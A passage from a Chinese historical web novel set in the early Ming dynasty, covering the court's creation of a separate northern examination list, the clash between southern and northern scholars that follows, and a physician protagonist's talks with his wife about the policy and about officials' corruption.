“北……北榜?”陈迪终于找回了自己的声音,“还……还名额更多?太子殿下!这……这从何说起?!旧制……”
“旧制造成了今日之困!”朱标冷冷截断他,不容置疑,“道理摆在这里——”
他目光如炬,一一扫过众臣:“北方战乱频仍,民生凋敝,苦寒之地,寒门学子进身之阶本就艰难百倍!”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“江南水乡,千年教化,藏书万卷,纸墨不缺。科举之途,对他们而言,远比北方士子畅通!”
“朝廷取士,本当唯才是举!然长久以来,南优北劣,金榜之上,南方独占鳌头,北方寥寥可数!如此,朝堂之上,怎能不盘踞成势?怎能不互为犄角、一荣俱荣、一损俱损?”
朱标直指要害:“北榜专取北方才俊!给他们一条通天路!就是给朝廷多一条血脉!”
“此刻,江南官员空出来的那些肥缺、要害位置——”朱标眼中寒光一闪,直刺这次江南“皇嗣谋逆案”的核心:“不正是安插这些‘北榜’新血的最佳时机吗?!用这些根基干净、无惧所谓‘江南同乡情谊’的新人,去填那些被蛀空的位置!”
一语惊醒梦中人!
暖阁里死一般的寂静。
五位大臣心头剧震!
那感觉不亚于黑夜里骤然点亮了一盏耀目的灯!
一个从未想过、惊世骇俗、却又……直指病灶的办法!
陈迪张着嘴,刚才满腹的质疑和旧制,此刻在脑子里竟哑了火。
他脑子里像有无数算盘珠子在疯狂拨动——空缺的位置,北方新人,,切割江南势力……
李原名捻胡须的手垂了下去,他脑子里只有一个念头:堵不住,就疏!好一条导流的渠!妙!妙啊!可……可行吗?
打破南方的垄断!让北方力量入局制衡!这才是釜底抽薪!
宋讷身体微微发着抖,老眼死死盯着朱标。
打破南北取士的绝对失衡!
这是千年未有之变局!
是动摇文脉根基的大策!
但为何心口狂跳的同时,又觉得一片前所未有的光亮?
沈溍猛地捏紧了拳头,这个老军汉不懂那些风花雪月,但他懂制衡!
“好!”他几乎是低吼出来,眼中精光四射,“给北方小子们机会!让他们去顶!去争!看那帮江南的老爷们还敢不敢抱团!”
朱元璋猛地睁开了眼。
他要的是江南那些士绅老爷们的根基!
太子这办法,不是砍他们的枝叶,是刨他们的根!
朱元璋霍然从软榻上站起!
他绕过面前的臣子,身姿挺拔,像出鞘的刀锋。
他走到悬挂的巨大《大明坤舆图》前,粗糙的手指,狠狠地摁在了那片代表着江南沃土的锦绣之上。
“就这么办!”
“传旨!”
“着吏部、礼部,三日之内,拟出北榜细则!即日开恩科!”
“江南涉案空出之缺——”朱元璋猛地回头,扫过惊魂未定的陈迪:“优先从北榜待选士子中擢拔新员!”
他大手一挥,“这块生土,该见见光了!”
五名重臣,被这道旨意震得心神激荡,齐齐躬身:“臣等……遵旨!”
不知道为什么在听完了皇帝的这番话之后,他们居然觉得这个法子的稳妥性,不仅仅只是让这次的谋逆大案得到缓解。
更重要的是还能为将来的稳定,提供更多的坚实的基础。
几位重臣都明白,这条国策一旦实行下去会带来什么样的结果。
从此攻守易形。
江南再也不能把持科举。
北方士子终于迎来了春天……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第259章 江南士族以为赢了!可笑!
锦衣卫衙门昨夜点起的大片灯笼,此刻已尽数熄灭。
“撤!”身着飞鱼服的队伍,昨日还如一群凶戾的鹰隼扑向四面八方,此刻都悄然撤离。
他们身后,是几座府邸悄然洞开的门扉,里面的人惊魂甫定探出头,望着远去的烟尘,眼神里的恐惧渐渐被劫后余生的窃喜取代。
一张苍白的脸贴着高门缝隙,用力向外看着,喉咙滚了滚,吐出一口憋了许久的浊气。
另一处门房阴影里,两双眼睛默默交汇一瞬,随即各自垂落。
无需言语,心头的重石稍稍挪开了些许角。
诏狱深处的灯火明灭不定。
蒋瓛站在诏狱的监牢前。
“大……大人?”一个文官模样的囚犯哆嗦着抬起头,布满血污的脸上只剩下恐惧。
蒋瓛没看他,只对着手下几个亲信锦衣卫做了个手势——五指猛地一收,又瞬间摊开。
“收刀。”
两个字。
几个正要将烙铁按下去的锦衣卫动作一滞。
“撤开!撤开!停下你娘的!”蒋瓛身侧一个头目反应过来,一巴掌拍在手下后脑勺上,“没听见缇帅的话?手上的活儿,停!”
几双凶狠又茫然的眼睛望向蒋瓛。
蒋瓛的目光掠过监舍里十几个像待宰羔羊般蜷缩的新囚犯,又扫过墙角几具已无声息的模糊身躯。
“这些人,攀咬所出名单三百七十八人。即刻起,名单作废,不再提审,不再核查。”
他顿了顿,“名单上所有在押者,立刻开镣,移送刑部普通大牢。其余人等……全部释放。”
“释放?”亲信头目眼珠子瞪圆了,差点以为自己听岔了。
“对,放人。”蒋瓛把密旨揣进怀里。
他转身,“立刻。清理干净。”
诏狱内外,暗流涌动。
沉重的铁门在身后缓缓关闭。
几个时辰前还绝望咒骂或痛哭求饶的官员,此刻相互搀扶着,踉跄走出那地狱之门。
他们身上只穿着单薄的囚衣,风雪吹过空旷的街道,冷得刺骨。
“停了……真的停了!”一个须发花白的老吏缩在角落里,牙齿打着颤,浑浊的眼睛死死盯着关闭的诏狱大门,反复低语,“朝廷顶不住了……他们终于知道怕了……”
“哼,”旁边一个年轻些的官员揉着手腕上深深的血痕,“怕?这叫识时务!江南十之二三的官位都悬着,我看他们怎么填这个天大的窟窿!杀,我看他们能杀到几时!”
他们交换着心照不宣的眼色。
这豁出命去的攀咬,奏效了!
这泼天的浑水,终于把朝廷也拖到了不得不暂退一步的境地。
此刻的江南道各州府,驿站新送抵的公文被迅速拆阅。
纸页翻动声沙沙作响,随后被主人小心翼翼压回案头或抽屉深处。
没有议论,没有庆贺。
一种微妙的安静蔓延开来,像暴雨过后短暂的空寂。
街头巷尾,茶楼酒肆间,那绷紧到了极致又被骤然松开的气氛悬在半空。
小民摸不着头脑,只觉头顶那沉甸甸、随时可能砸落的黑云,仿佛被一只无形大手拨开了些许缝隙。
应天府城西一条极窄深的巷子深处。
“痛快!”杯盏重重一磕,“看他们还敢不敢再查!”
说话的人年岁不小了,面皮松弛,唯独一双眼睛晶亮得过分。
“不过小小推了一把。”另一个穿着半旧湖绸长衫的中年人开口,“是他们自己不敢抓了。抓一个,咬出十个!再抓十个?咬出一百个!”
他摇摇头,嘴角噙一丝冰冷的算计,“抓下去,这台子,谁来撑?”
席间静了一刹,随即响起几声心照不宣的低笑。
没有人高谈阔论“阳谋”二字,但彼此眼波流转间,都读懂了那个意思——淤泥缠住了转动的车轮。车轮再硬,碾过一地狼藉后,终究也得停下喘息。
“喝酒喝酒!”又一人举杯,将话题不着痕迹带开,“这秋露白,尚好!”
东宫偏殿,气氛凝滞。
吕氏坐在软榻。
一个脸生的小内侍低着头,悄无声息地将一个食盒放在小几上,揭开盖子,是几碟精致的小点心。
“娘娘,厨房新做的枣泥糕,尝尝味道?”小内侍垂着眼。
吕氏眼皮都没抬,只淡淡“嗯”了一声。
小内侍上前一步,借着摆放碟子、调整碗筷的微小动作,声音压得更低,:“刚得的准信儿……外面……风头转了,衙门里……松了大绑。蒋阎王手下……停了绣春刀,诏狱……连夜放人……放了……很多。”
吕氏捻着袖口的手指骤然收紧。
她依旧没有抬头,也没有任何多余的表情。
果然……乱拳打死了老师傅。
江南这块土地供养出的力量,朝廷也……扛不住了。
“风息了,好。”声音轻得几不可闻。
她站起身,慢慢走到窗边。
“根基未损,”吕氏无声自语,“如何惧它?”
……
数日后。
本小章还未完,请点击下一页继续阅读后面精彩内容!城东贡院旁张贴告示的榜棚前人声沸腾,几乎要掀翻顶棚。
平素落满灰尘的棚壁前,贴上了簇新的大幅黄榜。
皇榜张贴在贡院前的高墙上,像一块吸铁石,瞬间引来了无数人头涌动。
黑压压的人群挤压着、推搡着,喧嚣声浪几乎要将天空掀开一角。
“出来了!出来了!”有人嘶哑着嗓子大叫。
无数双眼睛死死盯着衙役展开的那卷黄绫布。
鲜红的墨字刺眼:
“奉天承运皇帝,诏曰:为彰朝廷恩恤寒士之意,广纳天下才俊,特开恩科。取士之法,分南北两榜:北榜取一百五十人,南榜取一百人……”
“什么?!”
“北榜一百五十名!北榜一百五十名!南榜……南榜只有一百?!”
“一百五十?!给北方那群粗胚?笑话!天大的笑话!”一个身穿江南道地界常见细绸衫的年轻书生脸色瞬间涨得血红,像被狠狠捅了一刀,失态地尖叫起来,“荒谬!滑天下之大稽!我们江南士子寒窗苦读,十年磨一剑,才学文章哪点不比那些蛮荒之地的强?凭什么他们占了朝廷特开恩科的大头?!”
他仿佛点燃了炸药桶。
“凭什么?!我们江南考卷向来甲天下!录取人数远超北地,那是理所当然!如今朝廷竟这般自毁长城,搞什么均贫富的把戏?”另一个面皮白净的南方举子也激动地挥着拳头,“这根本不是选才!这是……这是施舍!朝廷是在胡闹!”
“就是!江南文脉千年不绝,进士举人代代迭出,岂是北方那些只识砍伐的莽夫可比?北榜一百五?朝廷是瞎了眼吗?”愤怒的声音汇成洪流,矛头直指那不可思议的数字。
“一百?!”一个穿着浆洗发白青衫的瘦高士子猛地从人群里挤出,挤得旁边人踉跄怒骂。他不管不顾,死命抻长脖子,眼珠子几乎要凸出来钉在榜文上,指着下方一行小字厉声诘问,“凭何?!凭何北榜一百五,南榜才一百?!这道理何在!天理何在!”
“对啊!凭什么!”
“历科取士从未如此偏颇!”
骚动瞬间被点燃了。榜下簇拥的南方士子炸开了锅。惊愕,不解,随即是汹涌的不满和被侮辱的愤怒。积攒了几个月的恐慌与疲惫,在看似曙光初现时被这突然的差异猛然泼了一盆冷水,瞬间化为滚滚怒火。
“朝廷何意!”
“如此不公!我等十年寒窗读圣贤书,竟落得连公平应试都求不得?”
……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第260章 开恩科!南北榜!打起来了!
人群后方,几个穿着厚重棉布袄子、袖口磨得发亮的北方士子,踮着脚,伸长了脖子看着榜文。
其中一个高大黝黑的汉子猛地倒吸一口冷气,揉了揉眼睛,又用力掐了一下自己的胳膊。
“一百五……兄弟,我没看错吧?”他声音发颤,扯了扯旁边同样呆滞的同乡。
旁边那人回过神来,眼珠子瞪得溜圆,嘴唇哆嗦了几下,才爆出一声压抑到极致的狂喜嘶吼:“没……没错!朝廷给了!真给了!一百五十个名额!天啊!是俺们北榜的!”
他那张被北方风霜吹得粗糙的脸上,涌上激动的红潮,粗糙的大手一把拍在同伴肩上,险些将人拍倒在地:
“有奔头了!咱爷们儿也有大奔头了!”
当然在江南士子悲愤之时,他们如此庆祝,挺招恨的。
一个激愤的江南士子猛地回头,对着那几个狂喜的北方士子劈头盖脸骂去:
“奔头?!你们懂什么经义文章?你们看过几本圣贤书?不过是一群借着朝廷恩典捡便宜的无知匹夫!就凭你们,也配占一百五十个名额?我呸!这是窃取!是劫掠我江南士子的功名!”
他唾沫星子几乎喷到那北方汉子脸上。
那黑脸汉子先是一愣,随即一股压不住的怒气从心底直冲头顶。
“俺们无知匹夫?俺爹娘饿着肚子供俺在煤油灯下写字的时候,你们江南的少爷们在暖阁里红袖添香翻书吧?!俺们在柴火堆里找纸练字的时候,你们用的什么湖笔徽墨?!”
他向前一步,身材带来的压迫感让那江南书生下意识后退了半步。
“这次朝廷开恩,没因为你们江南一群败类勾结着要害皇嗣的事情,把你们南榜的门都关死,已是天大的仁慈!”
“你们还敢叫唤不公?还要踩着俺们北地儿郎往上爬?不让俺们有一丝活路?简直贪得没边了!”
他环顾四周那些穿着光鲜的江南士子,吼声震得人耳膜嗡嗡作响:
“占尽了千年的便宜,吸饱了朝廷的血汗!如今稍微从你们手指缝里漏那么一点渣渣给俺们这些穷地方的娃,就像割了你们的肉?!”
“不公?!”
他重重地啐了一口,眼中是毫不掩饰的鄙夷和委屈混织的痛楚:
“喊冤?问问北边成千上万读不起书、连一张白纸都买不起的后生仔,什么才叫真正的不公!”
这一句句如同冰冷的石头,砸得一群江南士子哑口无言,脸色阵青阵红。
那黑脸汉子身后的北方士子们,默默围拢起来,站在一起。
看向那面皇榜的每一道目光,都充满了敬畏和“誓死效忠”的赤诚。
“这是皇恩浩荡!”一个身材魁梧、黝黑脸膛的北方口音,带着毫不掩饰的鄙夷,“南榜一百还委屈了你们?!怎么不摸摸自己的良心问问!为何分榜?”
“贪得无厌!真该好好问问你们自己!凭什么还让你们取百人!”另一处角落也爆出粗壮的北方口音。
“看看你们自己干了什么好事!谋害天家血脉,该抄家灭族的大罪!皇爷仁厚,开恩科给你们留了条活路!还给一百个名额!你们不知足!羞是不羞?!”
“羞你先人!”几个憋屈到极点的南方年轻士子血气上涌,直接回骂过去。
“放屁!”
上一届的状元江南进士罗允中站了出来。
“我等十年寒窗,朝乾夕惕,所求不过是一个公平!一个以文章才学取士的公平!”罗允中深吸一口气,“昔日同窗共读圣贤,今日只因一纸籍贯,便被人为划线,生生矮了一等!此乃逆圣人之道,背千年取士之常!这恩科……”
他越说越激动,“这根本就不是恩科!这是一刀切在我们读书人脊梁上的利刃!是把文脉公心硬生生割裂的毒计!”
人群死寂了一瞬。
一时无人反驳。
江南举子的委屈和愤怒仿佛找到了出口,不少人情不自禁攥紧了拳头,眼里的火燃得更盛。
“罗状元所言极是!凭什么就因我们生在南边?”
“不公!不公!”
“闹起来!告御状!讨个公道!”
人群边缘,几个穿着布袍、神态却与众不同的中年人交换了一个隐秘而惊恐的眼神。
他们是借着混乱混在愤怒士子中的有心人。
“北榜一百五……”其中一个压低声音,语气透着一丝彻骨的寒意,“朝廷……不是退让。是釜底抽薪。要断我江南百代根脉啊……”
轿内一声极轻的冷哼。
“闹吧。让南边这群书呆子……闹起来。”声音沙哑干涩,像老树皮摩擦,“闹得越响,传到官家耳中越是烦人。套脖子上的绳子……也就收得越快喽!”
贡院外的喧嚣惊涛骇浪般在城东翻卷,渐次扩散。
那鼎沸的怨气与质问穿街过巷,巡城官军早已无声围拢在附近街口。
府衙后堂,花厅内倒是另一番光景。
“蠢材!都是些不知天高地厚的蠢材!”新任吏部张侍郎刚送走一个忧心忡忡的同乡京官,额头青筋突突直跳,回身忍不住低斥出声。
本小章还未完,请点击下一页继续阅读后面精彩内容!“罗允中……一个新晋状元,不知韬光养晦,竟带头啸聚……简直嫌命长!”
一旁坐着的礼部刘主事年纪比他还大些,瘦得颧骨高耸,手里捧着一盏早就凉透的茶。
他呢喃道:“书生意气啊。总以为自己读了几本书,懂得个‘公道人心’,便可指点朝廷法度……”
“意气?”张侍郎猛地止步,“那是火坑!是上面拿捏江南士子的由头!北边刚占了实实在在的便宜,心头怕正不痛快着。那些生员闹这一场,不正好递上现成的刀子?”
他重重坐回太师椅,后背靠实坚硬的紫檀椅背。
停了好一会儿,他才说道:“那些藏在幕后的……心思太毒。”
刘主事沉默片刻:“明面上是断人仕途名额……暗地里……”他眼皮撩了一下,“……怕是要断了我们江南士大夫的根基,给‘那些人’腾位子。”
张侍郎长叹一口气。
能像他们这样明白的人,实在是太少了。
大部分的人还以为江南士族这次赢了。
总算是用互相攀咬的方式,让皇帝妥协了,却没想过,这是妥协吗?这是要他们的命。
这些人怎么就不能冷静一些?
刘主事感觉自己奋斗了这么多年,本来已经为儿孙们铺好的路,好像也开始断裂。
皇帝这一招釜底抽薪,太狠了!
……
他们的声音湮没在更大一波吵闹声中。
几个被释放出来的江南籍官员也躲在人群之后,脸色死灰。
看着那些狂喜的北方士子,再听到那汉子声嘶力竭的质问,他们只觉得一股寒意从脚底板直冲头顶,比诏狱里的铁链还冷。
朝廷哪里是退缩?
这分明是……要换天!
就在贡院门前乱作一团,江南士子被问得哑口又憋屈得想吐血,眼看冲突就要升级时,一阵低沉而整齐的脚步声,陡然从长街尽头响起。
嗒、嗒、嗒……
喧闹的人群猛地一滞,如同被扼住了喉咙的鸭群。
所有目光惊恐地转向声音来处。
锦衣卫!
清一色的褐红缇骑,暗沉的下摆扫过雪泥。
腰间的绣春刀并未出鞘,但那刀鞘本身已让所有人的呼吸都为之冻结。
蒋瓛走在最前,那张覆盖着寒冰的脸上没有任何表情。
他沉默地穿过人群,人群如潮水般向两边仓皇退避,让出一条笔直而冰冷的通道。
他一直走到贡院朱红大门前,在皇榜下方立定。
然后他缓缓转过身。
目光在黑压压的人群脸上扫过。
掠过那些激愤未消的江南士子,也落在那些激动难抑的北方士子身上。
他缓缓说道:“朝廷取士自有法度!不想考者,可离去!耕田也好!教书也罢!谁挡了你们?
“在这里闹,说是不公!无非是害怕自己没机会当官。”
这句话轻飘飘的,但真就是伤害性不大,侮辱性极强!
一句话就让江南士子不好说什么。
因为多说一句,就成了蒋瓛口中,无真才实学者……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第261章 徐妙云:黑道悬赏千两捉出主意的
国公府回廊里,马淳抖了抖大氅上的碎雪。
药箱子搁在门边矮凳上。
内室暖得让人眼皮发沉。
徐妙云刚放下小襁褓,马寻吃饱了奶,小嘴还无意识咂巴着。
她指尖蹭掉孩子嘴角一点奶沫,抬头见马淳正掩门。
“听说礼部炸锅了。”她声音压得低,“南北榜,北边一百五十个名额。应天府贡院门前闹得不成样子,差役都动了棍棒。”
门栓咔哒一声落定。
马淳转过身:“闹什么?”
“说朝廷偏心,说北榜挤了南榜仕途。”徐妙云拿小帕子擦手,“江南那些书生,怕是要恨透了定策之人。”
马淳走到炭盆边烤手,“主意是我出的。”
“我跟太子说的。”马淳搓着手指,“北榜,专取北方生员。”
空气突然静了。
徐妙云擦手的动作停在半空:“什么?主意是你出的?”
徐妙云虽然不经常出门。
但府里面这么多人每天进进出出可是听说了,这次的主意不知道牵涉到多少士绅之家。
这可不仅仅只是一个名额的问题那么简单。
这里面还涉及到将来官场上的制衡问题。
江南士绅之所以能稳稳的压北方官员一头。
靠的是什么?
难道真的是聪明才智吗?
能混到官场上来的每个人都是人精,光是明面上的斗争不可能让江南士绅有那么大的优势。
而他们的优势是什么?
就是这些门生故吏,就是背后的人脉关系网。
北方官员数量本就比南方官员少,北方长年累月的战乱摧毁了大量的文教事业,故而人才凋零。
他们没有南方士绅的人脉关系,自然不管是在政绩上还是在拉关系上,都不如南方官员。
这就造成他们的晋升之道不可能跟南方人。
而现在自己的丈夫居然敢在这件事上捅马蜂窝,那江南那帮人还不得恨死自己的丈夫。
马淳当然知道这里面的利害关系,所以即便出了这个主意他也不会要这份功劳。
他当然明白即便自己是当今皇后娘娘的亲弟弟,是徐国公,也没有这个体量去承受南方千百万读书人的口诛笔伐。
帕子掉在膝上。
徐妙云盯着他,像不认识这个人。
“又是你?”
马淳眉峰挑了一下:“干嘛说‘又’?”
“去年空印案那场大祸,”她语速快起来,“陛下原要杀尽天下掌印官,是你一句‘首恶当诛,胁从可悯’,刀下留了三百多人命!”
她吸了口气:“这次——断了多少江南士族前途的南北榜,又是你?”
马淳弯身捡起帕子递还她。
“形势逼到那儿了。”
“殿下头疼江南势力盘根错节,光靠砍头砍不断根。”
徐妙云没接帕子,抓住他手腕:“你知不知道外面已经有人悬赏千两,要揪出‘献策断江南文脉’的祸首?”
她手指冰凉:“这府邸周遭,这几日探头探脑的生面孔多了三成!”
马淳反手握住她:“急什么。”
“陛下乾纲独断,太子殿下颁的旨。”他声音沉下去,“谁会把一个看病的大夫往这事上想?”
他手指抹过她微蹙的眉心:“主意进了东暖阁的门,就是天家的意思。”
徐妙云肩线松了半分,又立刻绷紧:“那万一——”
“没万一。”马淳截断她,“天塌下来,砸不着开药方的。”
炭盆热烘烘的。
马寻在摇篮里哼唧了一声。
徐妙云忽然噗嗤笑了。
她笑得肩头微颤,又赶紧捂住嘴,怕惊醒孩子。
“你呀——”她摇头,“给人开方子救命,给朝廷开方子……要命。”
烛火映在她眼里,亮晃晃的:“坏透了。”
马淳拎起药箱去隔间。
“换个地界说,”他头也不回,“这叫对症下药。”
药箱铜扣嗒地弹开,一排青釉罐子露出来。
“今日兵部王侍郎府上请脉。”他捏起一罐活血膏掂量,“他家老太太膝盖寒痛,屋里笼着六个炭盆。汗出得像水里捞的,还裹着三层貂裘。”
徐妙云倚着门框看他分装药粉:“热闭了?”
“离热中风就差半步。”马淳道,“给她儿子两句忠告——”
他停手,眼底掠过一丝嘲弄:“要么挪老太太去凉快屋子,要么预备后事。”
药罐在樟木箱里各归其位,严丝合缝。
徐妙云盯着那箱子:“王侍郎是江南清流领袖。”
“他府上今日放出风声,”她声音轻得像耳语,“‘朝中必有奸佞献谗’,才酿成南北榜祸事。你还去给他老娘看病,估计他要是知道他最恨的那个人就在他面前,他自己得气吐血!”
马淳呵呵一笑:“你看这就是我的高明之处!明知道他恨我可我是大夫,最好的大夫,他老娘的病还得靠我来救!你看,大夫这个身份多好打掩护!”
徐妙云扑哧一声乐了:“你啊,总是有你的道理!”
“明日得去趟傅府。”他提箱起身,“傅忠喝苦药汤子快喝疯了,傅让那媳妇倒是日日用着温宫的方子。”
本小章还未完,请点击下一页继续阅读后面精彩内容!徐妙云跟着他走出隔间。
摇篮里,马寻蹬了下小胖腿。
“宫里李公公下晌递了句话。”她突然说。
马淳脚步骤停。
“陛下明日午时在玉熙宫小宴宗室。”徐妙云盯着他后背,“特意点了你的名,还说‘带上药箱子,有人该换方子了’”
京城的宗室没多少,难道就是为了宴请自己?
不过他也没多想:“去就去呗,不吃白不吃!”
“开方子容易。”他突然说。
徐妙云抬眼看他。
“最难的是……”马淳道,“肯吃药的人。”
徐妙云走到他身后,额头抵上他后背。
“明日……”她声音闷在衣料里,“多穿件袄子。”
马淳嗯了一声。
他摸到腰间一枚紫铜令牌——太子府特制的腰牌,今日回来路上塞进他怀里的。
“南北榜这事,”徐妙云抬起头,“你真不怕引火烧身?”
马淳转过身,抱住徐妙云。
他忽然笑了,不是宽慰的笑,倒像看透了什么趣事。
“南方士子咬断牙根恨的那个人,”他压着嗓子,“这会儿该跪在乾清宫暖阁里。”
徐妙云眸子一缩。
“太子殿下何等聪明。”马淳拍拍她的后背,“献策?我不过诊脉时说几句‘气血淤堵,当另辟蹊径疏通’的套话。”
“至于北榜……”他摇头,“那是殿下从医理中悟出的治国良方。”
马淳嘿嘿一笑:“火烧不到开药铺的。”
他扭头看摇篮:“给孩子添床小被,脚心凉。”
徐妙云望着他走向里间的背影。
紧绷的肩线终于软下来。
“你呀,”她轻轻骂了句,“简直是个老狐狸。”
马淳没回头。
他掀帘子的手停在半空,“狐狸算什么。能活命的,才是好大夫。”
风雪声被厚帘子隔开。
内室里暖得昏昏欲睡,徐妙云给小被窝掖严实了,孩子睡出两团红晕。
她吹灭灯烛,让奶娘推着小床去隔壁间睡了,然后才跟着进了内室。
幔帐那头传来马淳的声音:“今日太子后腰施针,冰砭一样。”
“三寸针入肾俞穴,他汗珠子砸在脉枕上,硬是没吭一声。”
徐妙云慢慢走过来,“熬狠了?”
“不是熬。”马淳解释起来:“是提着口气——底下万千双血淋淋的眼睛盯着他呢。”
“我捻针的时候,他腕子底下的脉,跳得像打鼓。”
“南北榜诏书贴出去那一刻,”马淳像在自言自语,“太医院院判刚给他诊完脉,说急怒攻心,肝脉弦硬。”
“结果呢?”他笑了一声,“我瞧他印堂那点青黑,反到散了。”
徐妙云走进内室,看到马淳已经躺在了床上,自己也躺了上去,翻了个身,躺在马淳的胸膛上。
“他问过我一句话。”马淳突然说。
“什么话?”
“说‘傅忠喝药如受刑,傅让甘之如饴,同是药汤子,境遇为何云泥之别?’”
徐妙云枕在他胸膛上支起头:“你怎么答的?”
“我说,”他字字清晰,“肯喝药的,求的是活命。骂药苦的——”
他顿了顿,“不过是怕苦味儿盖过酒香罢了。”
徐妙云忽然笑出声,笑得被角直抖,“你倒会拐着弯子骂人。”
马淳的手从被子底下伸过来,握住她微凉的手指。
“睡吧。”他说,“明日玉熙宫小宴,还得有人吃药呢。”
徐妙云嗯了一声,钻进了他的怀里……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第262章 坏的不是圣贤书!而是读书人!!
第二日,赴了宫里的宴,夫妻两个回到府邸。
所幸宫宴上面没有什么大事,皇后娘娘推说是想看侄子了。
陛下推说是太子朱标需要换药。
席间也说了一些让马淳夫妻二人注意的话,还说拨了一百锦衣卫专门看家护院。
其实马淳夫妻听得出来。
这宫里也不是密闭的,跟筛子一样,到处都是眼儿,所以朱元璋也是担心,那些江南的疯狗真咬上来。
夫妻二人自然是千恩万谢。
回了家,屋里炭火烧得旺。
徐妙云将手里一张揉皱的邸报丢在榻边小几上。
“今儿听丫头嚼舌根,城西张翰林家的公子,又在秦淮河包了画舫。一掷千金,比那些盐商还阔气。”她语气却有点发沉,显然对这种事情很看不惯。
马淳没抬眼。
“他爹张大人,前几日还在朝会上,引经据典,说‘节用爱民’。”徐妙云满脸鄙夷,“底下有人传,说他老家霸了千亩好水田。”
她扭头看马淳,那点疑惑压不住:“我总想不明白。你说这些人,读书时寒窗苦熬,那本圣贤书上写的什么?‘修身齐家治国平天下’!个个喊得震天响,恨不得为天下生、为天下死!”
她顿了顿,语气里掺了点鄙夷:“怎么一朝穿上了官袍,就换了心肝?比那南市上变脸的戏子还快?就有人嚷,说那圣贤书,毒!把人读成了两面刀。”
马淳合上艾灸盒的黄铜盖子。
“圣贤书?”他抬眼,目光落在妻子微显愠色的脸上,很平静。“书还是那书,字没变。人心长了腿,会跑。”
“腿?”徐妙云没懂。
“从田埂泥地里,一头栽进了朱门绣户里。”马淳像在讲一个显而易见的理儿,“他当年破衣烂衫,蹲在漏风的破庙里,啃着冷硬窝头喊‘天下为公’。”
他微顿:“那时节,他身上除了虱子,半个铜板也难刮出来。他眼里的‘天下’,是一口热饭,一身暖衣。喊得响?兴许真有几分真心,替那些和他一样苦哈哈的喊。更可能,是块敲门砖,敲开那道寒门入仕的门。”
“可门真敲开了,”他语气没起伏,却带着点穿透纸背的力道,“命也就改了。陛下的俸禄、职田的租子、冰炭二敬、门包……流水样淌进来。崭新的绫罗裹住了往日冻僵的骨头,温软娇娘取代了糠糟发妻。
“三进的院子、田庄的契书、匣子里叮当响的雪花银……这些硬邦邦、沉甸甸的东西,一天天、一年年,垫在脚底下,把他越垫越高。”
徐妙云听着,眉头皱得更紧。
“等他脚底板真真切切踏在这些金玉堆上,”马淳拿起艾灸盒掂了掂,看向妻子,“那悬在天边的‘天下’,还跟从前一样轻飘飘吗?”
“不一样了。”他答了自问,“这身家性命、子孙富贵,全系在他那身官袍上了。袍子要穿稳,穿长久。”
“他怎么穿得稳?”徐妙云追问,她隐约明白了些,但还欠一口点破。
“守着这份富贵呗!”马淳说得再直接不过,“眼睛就钉在这些实实在在的东西上。官场上拉交情、结同年、拜座师,那是网罗关系,保他位置稳当。
“想法子让手里的职田多收三五斗,那是看得见摸得着的进项。想方设法把儿子女婿也塞进这富贵场里,那是要让这好日子,子子孙孙传下去!”
他轻轻放下艾灸盒:“这时候你再问他,他那‘天下为重’,能比得上他家后院新建的暖房?能比得上他刚给儿子捐的那个肥缺?”
徐妙云只觉得一股浊气堵在胸口:“那……那圣贤书……”
“就成了摆设。”马淳接口道,语气里没什么波澜,“柜子里供着,装点门面。嘴上提提,显得他还有根底。真到了关乎他切身利益的时候,那书的斤两,就轻了。”
“你想想,”他手指虚点了一下,“一群这样的人凑在一处衙门里、一个朝堂上,心里都装着自家的小算盘、小富贵。他们能打从心眼儿里替田里刨食的老农着想?能替河堤边那些蝼蚁似的纤夫出头?能琢磨着把这富贵也分给天下人尝尝?”
他摇摇头,答案不言而喻。
“久而久之,”马淳总结道,“这‘官’字头顶上的‘为民请命’,就被底下沉甸甸的金银压弯了腰。一层层压下去,再硬挺的梁木,也得变了形。世人看着这群顶着圣人光环的官,做的净是坑害百姓的勾当,能不骂吗?骂官是畜生,骂那教他们做官的书是毒?”
“可错不在书,在人心跑得偏了道。”他说道:“从根子上穷到底的赤贫,一朝变成了大富大贵的主人家。这身家变了,他的心,自然就转舵护船了。道理简单,骨头缝里埋着的利,叫它往哪里长?自然朝有光亮、有肥处的地方钻。”
徐妙云沉默了半晌,神色显得有些深重。
那层堵着心的疑惑,被丈夫这番掰开揉碎的话凿开了口子,透进点冷风,也带走了些闷气。
她伸手拿起几上那卷邸报,随手翻了翻,看着小楷书写的官员任免。
本小章还未完,请点击下一页继续阅读后面精彩内容!“照你这么说……”她声音低了下去,像是自言自语,“空印案、江南这次大祸……还有历朝历代那些数不清的贪墨窝案……根子原来在这儿?是他们爬上去了,就忘了自己是从哪儿爬出来的?”
“也未必忘。”马淳低头拨弄着艾绒,“只是‘何处来’已是昨日黄泥巴,‘何处站’才是真金白银砌的好窝。护窝,就成了天大的道理。”
马淳起身,走到药炉前,掀开盖子看了看。
“就像傅忠。”他忽然提了个不相干的人。
徐妙云抬眼,有些不解:“傅忠?”
“前儿他府上来人,说闹肚子,让我去瞧瞧。”马淳放下锅盖,白气散开,“诊完脉,我说他虚不受补,人参鹿茸灌多了,肠燥气逆,堵着难受。开了副寒凉泄下的药,嘱咐三日内戒酒肉、戒女色。”
他掸了掸被药气熏染的袖子:“你猜他说什么?”
徐妙云摇头。
马淳哼笑一声,“他说:‘马兄,我这身子骨金贵着呢,上好的补品日日离不得。您这苦汤药我捏着鼻子喝,可你让我憋着?那不如割我的肉!那花厅里新请的苏州小娘子弹得一手好琵琶,我这做东家的,不陪着听听,多煞风景?’”
徐妙云忍不住撇嘴:“死性不改!”
“是啊,”马淳走回小榻边坐下,“从前的傅忠,流连花丛掏空了底子,那会儿是真的怕,怕灯枯油尽。哭着喊着求我救命,药再苦也捏着鼻子咽。”
他顿了顿:“如今呢?身体刚被汤药补回点元气,底子薄得很,可一旦尝到了补药灌出来的‘生猛’滋味,一旦习惯了那琵琶声里的温香软玉,你再让他戒?再让他回到寡淡苦涩的日子?难如登天。”
他目光落在徐妙云脸上:“他现在站的位置舒服,有金山银山,有美人笙歌。要他舍下这些,回到当年战战兢兢喝苦药的日子?那不是要命,是要割他的心头肉。护住眼前的舒服日子,就成了他顶顶要紧的事。我那治本的苦药方子?反倒成了碍他享福的绊脚石。”
